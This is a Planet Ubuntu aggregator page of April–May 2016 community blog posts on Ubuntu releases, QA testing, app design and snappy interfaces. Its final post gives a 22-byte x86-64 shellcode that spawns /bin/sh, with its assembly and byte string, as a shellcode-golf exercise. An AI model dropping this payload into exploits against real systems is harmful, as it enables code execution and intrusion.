01 May 2016

feedPlanet Ubuntu

Svetlana Belkin: Goals for Y Cycle

It's that time again when I write up goals for the next Ubuntu release cycle! But as a side thought, I noticed that I started to think in Ubuntu release cycles when planning my goals for the next six months. I guess it's my new measure of time since I'm out of school… Anyhow, these are my goals for the Y (16.10) cycle:

I'm thinking of starting a coding project for a electronic lab notebook that will be Open Source, but it will be most likely in Python.

- Svetlana Belkin (@senseopenness) April 26, 2016

Something close to the RedNotebook. https://t.co/J8skJ637Qf

- Svetlana Belkin (@senseopenness) April 26, 2016

I don't know yet if I will remix Red Notebook because at the moment, it's the closest thing that I see to a electronic lab notebook. I will have post when I start this project (Week of May 1st to Week of May 8th)

EDIT TO ADD: I'm also thinking of writing one in Qt and calling it Qt ELN (Electronic Lab Notebook).

Hopefully, I can complete these projects or at least learn from working on them. I will work on updating you all at least once a month.

Wish me luck!

01 May 2016 5:01pm GMT

Full Circle Magazine

Just a quick look at GIMP on the BQ Aquaris M10 Ubuntu Edition tablet.

01 May 2016 3:32pm GMT

Michael Terry: In-App Purchases Available in the Ubuntu Store

I haven't seen anyone else trumpeting this online. So I guess I will. 🙂

Since Ubuntu Touch's OTA 10 update, apps can offer in-app purchases! Yay!

Besides allowing someone to write the next Candy Crush, this also means that app authors can stop providing separate "donation" versions of their app. Which means less busywork for authors, reviews are all on the same app, and less confusion for users.

Documentation is available from the QtPurchasing module docs. And remember to update your app's framework to 15.04.4 (OTA 10).

If you want to see it in action, I've enabled a donation button in my "Lone Wolf" game app. No need to actually donate, it just might be interesting to see how it looks to the user (hit the "night mode" button in the upper right to see it - donating turns on the night mode feature).

Speaking of which, if you actually do something based on a purchase (like enabling a feature), the QtPurchasing docs recommend saving purchase information in "persistent storage." I've just stuffed a boolean in a Settings object. But that's easy for a user to modify themselves on disk. I don't care about donation fraud, but I'm curious how I should better protect against that, in case I do something more interesting with IAP.

01 May 2016 2:07pm GMT

Ubuntu GNOME: Say hello to Yakkety Yak

Hello world,

Oh yes, here we are again with yet another new cycle and this time, it's the "YY" cycle - Yakkety Yak - please see the official announcement.

We would like to announce that testing Ubuntu GNOME Yakkety Yak (16.10) is open and we encourage those who would like to have fun to actually start testing even though we have just started and nothing new yet but you never know when you could find a new bug?!

Whether you are new to testing or not, here is your reference:

https://wiki.ubuntu.com/UbuntuGNOME/Testing

And as always, if you need any help or have any question, please contact us!

Thank you 🙂

01 May 2016 1:39am GMT

29 Apr 2016

feedPlanet Ubuntu

Sam Hewitt: Extending the Ubuntu Icon Spec.

So you have a new Ubuntu application, you've built it in QML with the Ubuntu SDK and now you're going to give your app a brand shiny new icon? But you go and visit the official documentation and you go "where do I start? How do I make an icon?" Well, you're kind of out of luck.

When I started designing app icons for folks, I (too) felt the official specification was lacking detailed instructions and explanations for the Suru design -not to mention it's woefully out of date- which isn't much help. My only recourse was to follow updates to the official icons themselves and to dissect the icons to determine the elements and visual principles that make up the Suru style and updates to it.

Now, that information or course of action may only be useful to someone like myself who does icon design and can see the cogs behind the images, so what is Jane or Joe app developer to do?

Not to worry, some time ago I wrote a guide that is an extension of sorts to the official documentation, breaking down the Suru-style a bit and showing how you can make an icon your self as well as provide a few resources.

Ubuntu Icon Design Guide

So if you use & find my guide useful, feel free to contact me if you would like me critique your icon or give feedback. 😊

29 Apr 2016 8:30pm GMT

Ubuntu Insights: LTS 16.04 Review roundup!

xerus_orange_300px_hex (1)

What a month! We had the release of Ubuntu 16.04 LTS that allowed us to bring out newer software for desktop in the form of snap packaging formats and tools.

By bringing snap packages to Ubuntu 16.04 LTS we are unifying the experience for Ubuntu developers, whether they are creating software for PC, Server, Mobile, and/or IoT Devices. This means greater security and reliability as it allows the two packaging formats - snap packages and traditional deb packages - to live comfortably next to one another which enables us to maintain our existing processes for development and updates to the OS. This reinforces our relationship with the Debian community and it enables developers and communities to publish either debs or snaps for the Ubuntu audience.

To celebrate the release, we've collated a range of reviews that shed light on what the LTS means. Happy reading!

Who said Ubuntu's boring? From Infoworld >

Great slideshow of all the key features from IDG on Network World >

'Ubuntu 16.04 LTS gives fans new reasons to love this popular linux desktop' via PC World

And one of our favourite titles! 'A perfect marriage between you and Ubuntu' thanks The Register!

29 Apr 2016 1:00pm GMT

28 Apr 2016

feedPlanet Ubuntu

Costales: From uNav with ❤ to OpenStreetMap


We (Joerg Berroth, Nekhelesh Ramananthan, Marcos Costales) donated all the money of this quarter from the uNav donate version to OpenStreetMap project.

We love OSM!

Donation

We're happy that the 20% of the purchases are going to Ubuntu already :))

28 Apr 2016 8:57pm GMT

The Fridge: Ubuntu Online Summit: 3-5 May

The next Ubuntu Online Summit (UOS) is going to be from 3-5 May 2016 with sessions happening from 14:00 - 20:00 UTC.

If you are planning to attend, please register here:

http://summit.ubuntu.com/uos-1605/registration/

If you and your team need to discuss something at UOS, please get your sessions in as soon as possible:

http://summit.ubuntu.com/getinvolved/propose-a-session/

Getting them in earlier will mean that others can plan their attendance accordingly and you will have better turnout. Please note that we are not only keen to have discussion and planning sessions, but also workshops and presentations.

Originally posted to the community-announce mailing list on Wed Apr 27 08:06:53 UTC 2016 by Daniel Holbach

28 Apr 2016 3:53pm GMT

Ubuntu Podcast from the UK LoCo: S09E09 – Solitary Confinement - Ubuntu Podcast

It's Episode Nine of Season Nine of the Ubuntu Podcast! Alan Pope, Mark Johnson, Laura Cowen and Martin Wimpress are connected and speaking to your brain.

We're here again, although one of us is in Prague!

In this week's show:

That's all for this week! If there's a topic you'd like us to discuss, or you have any feedback on previous shows, please send your comments and suggestions to show@ubuntupodcast.org or Tweet us or Comment on our Facebook page or comment on our Google+ page or comment on our sub-Reddit.

28 Apr 2016 2:00pm GMT

Canonical Design Team: Wallpaper design for Xenial Xerus 16.04

April marks the release of Xerus 16.4 and with it we bring a new design of our iconic wallpaper. This post will take you through our design process and how we have integrated our Suru visual language.

Evolution

The foundation of our recent designs are based on our Suru visual language, which encompasses our core brand values, bringing consistency across the Ubuntu brand.

Our Suru language is influenced by the minimalist nature of Japanese culture. We have taken elements of their Zen culture that give us a precise yet simplistic rhythm and used it in our designs. Working with paper metaphors we have drawn inspiration from the art of origami that provides us with a solid and tangible foundation to work from. Paper is also transferable, meaning it can be used in all areas of our brand in two and three dimensional forms.

Design process

We started by looking at previously released wallpapers across Ubuntu to see how each has evolved from each other. After seeing the previous designs we started to apply our new Suru patterns, which inspired us to move in a new direction.

Ubuntu 14.10 'Utopic Unicorn''

wallpaper_unicorn

Ubuntu 15.04 'Vivid Vervet'

suru-desktop-wallpaper-ubuntu-vivid (1)

Ubuntu 15.10 'Wily Werewolf'

ubuntu-1510-wily-werewolf-wallpaper

Step-by-step process

Step 1. Origami animal

Since every new Ubuntu release is named after animal, the Design Team wanted to bring this idea closer to the wallpaper and the Suru language. The folds are part of the origami animal and become the base of which we start our design process.

Origarmi

Step.2 Searching for the shape

We started to look at different patterns by using various techniques with origami paper. We zoomed into particular folds of the paper, experimented with different light sources, photography, and used various effects to enhance the design.

The idea was to bring actual origami to the wallpaper as much as possible. We had to think about composition that would work across all screen sizes, especially desktop. As the wallpaper is a prominent feature in a desktop environment, we wanted to make sure that it was user friendly, allowing users to find documents and folders located on the computer screen easily. The main priority was to not let the design get in the way of everyday usage, but enhance it aesthetically and provide a great user experience.

After all the experiments with fold patterns and light sources, we started to look at colour. We wanted to integrate both the Ubuntu orange and Canonical aubergine to balance the brightness and played with gradient levels.

We balanced the contrast of the wallpaper color palette by using a long and subtle gradient that kept the bright and feel look. This made the wallpaper became brighter and more colorful.

Step.3 Final product

The result was successful. The new concept and usage of Suru language helped to create a brighter wallpaper that fitted into our overall visual aesthetic. We created a three-dimensional look and feel that gives the feeling of actual origami appearance. The wallpaper is still recognizable as Ubuntu, but at the same time looks fresh and different.

Ubuntu 16.04 Xenial Xerus

Xerus - purple

Ubuntu 16.04 Xenial Xerus ( light version)

Xerus - Grey

What is next?

The Design Team is now looking at ways to bring the Suru language into animation and fold usage. The idea is to bring an overall seamless and consistent experience to the user, whilst reflecting our tone of voice and visual identity.

28 Apr 2016 1:39pm GMT

Simon Quigley: Contributing to Ubuntu - 2 - Ubuntu Quality

For the past nine months, I have done a couple forms of QA for the Ubuntu project and flavors. In this blog post, I plan on highlighting some common practices and how I contributed.

ISO QA Test

Download the image

For demonstration purposes, I'll grab the Lubuntu daily image, which as I'm writing this, is the Yakkety daily image. First, navigate to cdimage.ubuntu.com, it should look similar to the below screenshot:

Since in this case we are testing Lubuntu, select lubuntu/, the page should look like this after loading:

Lubuntu is a special case. They have desktop images and alternate images1. The desktop image is the same across all flavors, while the alternate image uses the Debian installer and requires less RAM to run. In this case, let's test the alternate image, so select daily/, the page should look like this after loading:

In the above screenshot, I have noted a few things, here is the purpose of each directory2:
20160425/ - I am writing this on April 26, 2016 (20160426), but this directory exists to ensure we have an image from the previous day for testing purposes and in the odd case that something gets messed up.
20160426/ - These are today's images
current/ - All of the images go through some automatic testing before proceeding to this directory, these are the last images that passed these tests.
pending/ - This is the directory that holds the images that are either currently testing or that haven't passed the tests, and this is usually the same files as 20160426/.

We are going to grab the image from the current/ directory. The page for current/ should look like the following screenshot3:

Scroll down and you should see the following:

Listed are three architectures: amd64 (which is 64-bit), i386 (which is 32-bit), and PowerPC (old Macintosh machines). Other Ubuntu flavors usually have only amd64 and i386, but Lubuntu has a PowerPC image as well. We have six (6) files for each architecture:

  1. *.OVERSIZED - irrelevant right now, you do not need to worry about it.
  2. *.iso - the image file.
  3. *.iso.zsync - the zsync file for the image.
  4. *.jigdo - the Jigdo file.
  5. *.list - the list file.
  6. *.template - the jigdo template file.

I will show you how to utilize two (2) of the six (6) files in this directory to download the images. Ensure the zsync package is installed on your system before continuing. To download the image, yes, you can use your web browser to download the image. But there is a better way, using zsync. zsync allows you to download the image, but when the image changes, it will automatically merge the changes with the existing image that you have. Since it is the same directory and image name for the whole development cycle, you can safely use one link until the development release gets released. I'll create a directory to put the images:
$ mkdir daily-images && cd daily-images
Copy the zsync link for your architecture and paste it into the terminal, for example:
$ zsync http://cdimage.ubuntu.com/lubuntu/daily-live/current/yakkety-desktop-amd64.iso.zsync
When you press Enter, the image will download. When this is done, you should have the image ready to go.

Getting set up with the ISO QA Tracker

Navigate to iso.qa.ubuntu.com in your browser, you should see the following:

On the left side, click the Log in button. You should be brought to a page that looks like this:

If you already have an Ubuntu One account, log in with your credentials and press the Log In button. If you don't have an account, create one. I don't plan on going much into detail on this, so let's move on. You should be brought to a screen that looks similar to this:

Click the Yes, log me in button. You should be brought to the following screen, if you have a black bar at the top like in the image, you have logged in correctly:

Towards the bottom, you should see the Yakkety Daily suite3. Click on that and you should get to a screen with various options for images. Scroll down and you should get a screen similar to this:

Since I downloaded the amd64 desktop image earlier, I will select Lubuntu Desktop amd64. You should get to a screen that looks like this:

Here we have four test cases to choose from:

Because it's the most generic, I'll select Install (entire disk). When you click on that, you should get a screen similar to this:

If you scroll down to the bottom, you should see something similar to this:

Filling it out will be covered in a bit, but it's good to know what the submission form looks like.

Executing the test case

A lot of the test cases are done in virtual machines, but if you have hardware to spare, that's better, but it's not essential. I'm not going to cover how to use a virtual machines, but you can find good guides below. I prefer KVM because the Linux kernel has built-in support for it, it's a lot more integrated, and it's completely free software. I've used VirtualBox in the past, it's a great program, but it's proprietary, and the kernel modules can be a bit fidgety to get working after a kernel upgrade.

Before you begin, read over the test case you plan on executing, there may be some important instructions that you need to watch out for. When you are ready to start, on the test case, select the In Progress radio box and press the Submit result button. Complete the test exactly how the test case says it should be done.

During the installation, if you encounter an error that is critical enough that you cannot proceed, first look at the Bugs to look for. Is there a bug that describes your problem? If not, search Launchpad for the bug. If it's not there, identify the culprit package and file a bug against it. If you have trouble doing this, join the #ubuntu-quality channel using your IRC client or the IRC client provided below and ask for help.

When you are done, on the test case page, click the button to edit your test case result:

You should be brought to a page similar to this:

If you had no trouble installing it using the instructions, select the Passed radio box. For the bugs, from what I have seen, any bugs in the system, NOT just the installation bugs, should be reported. So look at the release notes of the most recent milestone for the flavor you are testing, and go through bug reports. Confirm as much as you can, when you do, mark the bug as Me too and list the bugs under the Bugs header in the following format:

XXXXX, YYYYY, ZZZZZ

Be careful, the tracker likes to insert extra commas and sometimes mangle this a bit. Always check this field before updating your result.

When you have all the bugs cited on this page, select the Update result button. If you then scroll down to the bottom, you should see your Launchpad ID with a green checkmark beside it and links to the bugs you listed. Congrats! You now completed that test case!

Package QA Test

The package QA tests exist to ensure that all packages are thoroughly tested for the release. Ensure you have an installation of the daily image for that flavor. Before you begin, ensure you have an Ubuntu One account set up. Also ensure you have read the previous section as I will not repeat some information that is explained above.

Navigate to packages.qa.ubuntu.com in your browser, you should see the following:

Click on Yakkety Daily3 and you should be brought to a screen similar to this:

Since as of the time of writing, Xubuntu is the only flavor with package test cases, click on Xubuntu Desktop and you should be brought to a screen similar to this:

At this point, open the test case and complete like normal, making sure to follow instructions exactly how they are listed. Instead of checking the release notes, go to the Launchpad bugs page for each package and check against all of the bugs. You can find the bugs for each package at the following URL, replacing PACKAGE with the respective package name:

https://bugs.launchpad.net/ubuntu/+source/PACKAGE

After this is done, congrats! You just completed a Package QA test!

Write a manual test case

The manual test cases are not automatically generated, they are hand-written for that application. I will tell you how to write a test case but I'm not actually going to write one because that would be too tedious for me to put in this article.

To keep track of the manual test cases that need writing, we have bugs for each test case and details on what to do to it. I've done this a few times before, so I know these already, but read over the instructions for writing a test case before you begin. First, assign the bug to yourself and mark it as In Progress. Then read over the bug report and responses to ensure you know what you are doing. Next, ensure the program is installed by default in the flavor the bug report specifies. If this is not the case, mark the bug as Incomplete and state that it is not in the flavor you specified. If it is there, you can continue.

After that, grab the source for the Ubuntu Manual Test Cases. Ensure you have bzr installed and run:

$ bzr branch lp:ubuntu-manual-tests

Then cd into the ubuntu-manual-tests directory just created. Go into the testcases/packages/ directory and another subdirectory if applicable. Open your favorite text editor and create a file with the name of the package you are creating a test case for, no need for any numbers. Using the guide above, write the test case and verify it. Below I have embedded a video by Nicholas Skaggs if you prefer to view a video:

When you are done, make sure you are directly in the ubuntu-manual-tests directory, and execute the following command4:

$ bzr add * && bzr commit --fixes lp:BUG#

Then push to a Bazaar branch in Launchpad:

$ bzr push lp:~/ubuntu-manual-tests/bugfix#####

Then go to the Bazaar page for the Ubuntu Manual Testcases project and find your branch. Then submit a merge request detailing your test case. Congrats! You wrote a manual test case!

Further questions?

Below if you are on my website, I have linked an IRC client for you to use if you do not have your own. Type in a nickname, press start, and press Enter to speak in the channel. If you have an IRC client, go to #ubuntu-quality on irc.freenode.net. If you prefer not to use IRC, we have a mailing list that you can use if you wish. Good luck and I hope to see you around! ☺

1. We also have a preinstalled image, but I will not cover that in this tutorial.
2. Even though the directory names will have changed, the information is still accurate.
3. This information will still be valid after we move on from Yakkety images.
4. Make sure Bazaar is set up properly before doing this
If you have questions/comments/concerns/suggestions about this article, my email is tsimonq2@ubuntu.com or I am tsimonq2 on Freenode (PMs and pings welcome).

28 Apr 2016 3:45am GMT

27 Apr 2016

feedPlanet Ubuntu

Costales: sudo apt-get install ubuntuphone unav libertad

Virio, guerrero astur y actual líder del clan miraba desafiante su castro desde el texu.
Bajo sus pies, la tierra empañada de sangre tras la última batalla, le recordaba que la avaricia romana volvería a asolarles con guerras interminables.

Adaptación del guerrero astur de Berto Peña


Pero no miraba el castro. Su corazón latía exuberante y su mente iba mas allá. Juró al Nuberu apreciar la libertad por el resto de sus días. Tras la victoria seguían siendo libres del yugo romano.

En la distancia, los sones de gaitas y tambores resonaban por las angostas calles y plazas del castro. El jolgorio desatado de la victoria. El momento de festejar su libertad.


Ahora, es tu turno ;)
# apt-get install ubuntuphone unav libertad

27 Apr 2016 7:19pm GMT

Nekhelesh Ramananthan: uNav 0.59 "Beauty and the Beast" is OUT!

uNav 0.59

The uNav team is proud to announce the release of uNav 0.59 code named Beauty and the Beast. In my opinion, this is truly one of the best releases we have pushed out. The code name should give you a hint of what we focused on for 0.59 ʘ‿ʘ

User Testing

We started doing user testing early in the development cycle with friends and colleagues which revealed several interesting issues that new users found to be confusing and detrimental to the uNav experience. I suppose the first step in solving a problem is acknowledging we have a problem. Internally we found it difficult to accept the fact that certain features like the NearBy, Menu Navigation and Search that we spent hours building was not as intuitive as we thought it would be.

I am thankful to the volunteers who joined our user testing sessions which resulted in a brand new navigation structure described in the next section.

Brand new navigation structure

User testing revealed that our menu (route page) was inefficient and misleading. While it did present a nice launch pad from which users can perform actions, it took longer to perform basic actions like search and navigate.

So we took a step back and looked at the bigger picture and asked ourselves,

What is uNav? What do users really use uNav for?

The answer is simple, uNav is a navigation app which helps users to get from Point A to Point B. It is critical that we make this feature the highlight of our app and easy to use.

That meant bringing the ability to search for locations to the forefront of the app rather than burying it inside menus.

uNav 0.59

The search page provides quick access to various search sources (Address, Coordinates & Favorites).

uNav 0.59

Visual Revamp

As you may have guessed from our code name, we have a beast of an app uNav..this release we focused on turning that beast into a princess ;). We injected some brand color into the app to make it more lively.

The interface also guides the user and prevents them from making a mistake. I have talked about this in my past posts about the best interface being one which actively prevents the user from making a mistake rather than just showing a error dialog after they make a mistake.

Here is a small example of it in action,

uNav 0.59

The zoom buttons got a bit of design love to improve their contrast against the map background.

uNav 0.59

POI Details

This is my personal favorite feature in this release. It shows all available information about a POI. This feature is heavily dependent on the OpenStreeMap database. However, I have found that adding details about a POI (restaurant, shop etc) is super easy using OSM's web editor. By taking a few moments to fill them out, you help out the community as well.

uNav 0.59

Reverse Geocode

You can long-press on any point in the map to get its address. If that point turns out to be a POI, then we show you its details.

uNav 0.59

Performance Improvements

There are some massive improvements to the calculate route time with speed camera alerts features enabled. In our tests, a 500 Km road-trip would take 2-3 minutes before uNav displays the route and the speed camera. Now it only takes 2-3 seconds!

Pinch Zoom

Did you just read pinch-zoom? Yes you did! uNav 0.59 finally brings pinch-zoom feature and also an improved long-press feature.

Well that's all from me. Hopefully I didn't bore you with my long blog post. Loving uNav? Be sure to let us know with your reviews in the app store.

Next up, Chameleonic uNav!

27 Apr 2016 6:26pm GMT

Dustin Kirkland: Canonical and IBM Webinar -- Ubuntu on POWER and LinuxOne

I'm delighted to share the slides from our joint IBM and Canonical webinar about Ubuntu on IBM POWER8 and LinuxOne servers. You can download the PDF here, or tab through the slides embedded below. The audio/video recording should be available tomorrow.



Cheers,
:-Dustin

27 Apr 2016 6:07pm GMT

Zygmunt Krynicki: Anatomy of a snappy interface

This post is the third in a series about snappy interfaces. Knowledge presented in posts one and two is assumed.

Today we will look at what makes an interface. This post might be a bit heavier on the programming side so feel free to skip over the code fragments if that is not your thing. Note that we will not build an actual interface just yet. The goal of this article is to set the stage for that to be meaningful, at least in part.

The Interface interface

From the point of view of snappy, an Interface is a bit of code with specific APIs. In go's terms it is an interface (note the lower case i). If you are familiar with other languages it is just a way to describe a class with a specific set of methods.

In go, this is spelled out as:

type Interface interface {
...
}


This can be read as "the go type Interface is an object with the following methods ..."

Interface name

At a very basic level each interface has a name.

type Interface interface {
Name() string
...
}

That is, having an arbitrary interface you call the Name method to obtain the name of that interface. Interface name must be unique and is something that other developers will refer to so plan ahead and pick a good, descriptive name. You cannot just change it later.

Validating plugs and slots

Two of the methods in an Interface are used to verify if a plug or slot definition is correct.

type Interface interface {
...
SanitizePlug(plug *Plug) error
SanitizeSlot(slot *Slot) error
...
}
 

Remember that plugs and slots can hold arbitrary attributes. A particular interface, say, one that allows access to a GPIO pin, can use an attribute to describe which particular pin is exposed. As an interface author you should check if the pin is specified correctly (e.g. that it is a number, that it has a sensible value, etc).

Both methods take an object to sanitize (a plug or a slot) and return an error if the object is incorrect. If you don't need to check anything just return nil and carry on.

Interfaces and snippets

Having a valid plug and slot, the main thing that interfaces do is to influence the various security systems. This is implemented as a set of four methods. Before I will spill the beans on the code I will explain this informally.

Small digression, when you see a security system below think of things like apparmor and seccomp. I will focus on security systems in a dedicated instalment. For now they are simply a part of the overall security story.


Each security system is responsible for setting up security for each app of each snap. By default all apps get the same treatment, there is nothing unique about any particular app. Interfaces allow to pass extra information to a particular security system to let a particular app do more than it could otherwise.

This extra information is exchanged as snippets. Snippets are just bits of untyped data, blobs, sequences of bytes. In practice all current snippets are just pieces of text that are easy to read and understand.

Interfaces can hand out snippets for each of the four distinct cases:

  1. the mere fact of having a plug of a given interface
  2. the fact of having a particular plug connected to a particular slot
  3. the mere fact of having a slot of a given interface
  4. the fact of having a particular slot connected to a particular plug

Note that there is a pattern. Applications can get extra permission by simply having a specific plug or a specific slot. Applications can also get extra permission by making an interface connection between a plug and a slot.

Typically most permissions will be based around a plug connected to a slot. Apps bound to the plug will be allowed to talk to a specific socket, to a specific DBus object, to a specific device on the system. All such permissions will be expressed through a snippet provided by case 2 in the list above.

For applications providing services to other snaps (e.g. bluez, network-manager, pulseaudio, mir, X11) the mere fact of having a slot will grant permissions to create the service (to configure network, manage GPUs, etc). Applications like this will use the mechanism provided by case 3 in the list above.

The meaning of the snippets is almost opaque to snappy. Snappy collects them, assembles them together and hands them over to security backends to process. At the end of the day they end up as various configuration files.

So how does the method definition look like? Like this:

type Interface interface {
...
PermanentPlugSnippet(plug *Plug, securitySystem SecuritySystem) ([]byte, error)
ConnectedPlugSnippet(plug *Plug, slot *Slot, securitySystem SecuritySystem) ([]byte, error)
PermanentSlotSnippet(slot *Slot, securitySystem SecuritySystem) ([]byte, error)
ConnectedSlotSnippet(plug *Plug, slot *Slot, securitySystem SecuritySystem) ([]byte, error)
...
}

Note that each method gets the name of the security system as an argument. A single interface can influence all security systems if that is required for it to operate correctly.

Connecting interfaces automatically

The one last thing an interface can do is say it wants to automatically connect plugs to viable slots under certain conditions. This is expressed as the following method:

type Interface interface {
...
AutoConnect() bool
}


This feature was designed to let snappy automatically connect plugs in snaps being installed if there is a viable, unique slot on the OS snap that satisfies the interface requirements. If you recall, the OS snap exposes a number of slots for things like network, network-bind and so on. To make the user experience better, when a snap wants to use one of those interfaces the user does not have to connect them explicitly.

Please note that we're going to be conservative in what can be connected automatically. As a rule of thumb auto-connection is allowed if this is a reasonable thing to do and it is not a serious security risk (the interface doesn't hand out too much power).

The complete picture

You can check the complete interface code, with documentation, here. The key thing to take out of this whole article is that interfaces are bits of code that can validate plugs and slots and hand out security snippets.

How this actually gets used and how the snippets should look like, that is for the next post.

27 Apr 2016 12:50pm GMT

David Tomaschik: Even shorter x86-64 shellcode

So about two years ago, I put together the shortest x86-64 shellcode for execve("/bin/sh",...); that I could. At the time, it was 25 bytes, which I thought was pretty damn good. However, I'm a perfectionist and so I spent some time before work this morning playing shellcode golf. The rules of my shellcode golf are pretty simple:

So, spending a little bit of time on this, I came up with the following 22 byte shellcode:

BITS 64

xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall

Assembled, we get:

char shellcode[] = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05";

This is shorter than anything I could find on shell-storm or other shellcode repositories. If you know of something shorter or think you can do better, let me know!

27 Apr 2016 7:00am GMT